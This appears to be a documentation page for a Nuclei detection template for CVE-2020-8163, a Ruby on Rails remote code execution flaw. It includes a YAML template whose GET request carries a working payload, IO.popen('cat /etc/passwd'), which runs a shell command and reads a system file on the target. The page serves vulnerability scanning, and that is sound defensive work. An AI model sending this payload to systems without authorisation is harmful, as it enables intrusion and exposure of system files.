Ruby on Rails <5.0.1 - Remote Code Execution
ID: CVE-2020-8163
Severity: high
Author: tim_koopmans
Tags: cve,cve2020,rails,rce,hackerone,rubyonrails
Description
Section titled “Description”Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
YAML Source
Section titled “YAML Source”id: CVE-2020-8163
info: name: Ruby on Rails <5.0.1 - Remote Code Execution author: tim_koopmans severity: high description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials. impact: | Successful exploitation of this vulnerability can lead to unauthorized remote code execution. remediation: | Upgrade Ruby on Rails to version 5.0.1 or above. reference: - https://hackerone.com/reports/304805 - https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0 - https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html - https://nvd.nist.gov/vuln/detail/CVE-2020-8163 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-8163 cwe-id: CWE-94 epss-score: 0.97016 epss-percentile: 0.99691 cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: rubyonrails product: rails shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails" tags: cve,cve2020,rails,rce,hackerone,rubyonrails
http: - method: GET path: - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 490a004630440220329a274b01f61ab6890d74c70adad24bbf14121fd39c986ece0b7d729a96e9a40220179db8cde822dc1fe07b025ad24af1146fc3946c98710b83f664f9268c917c5e:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8163.yaml"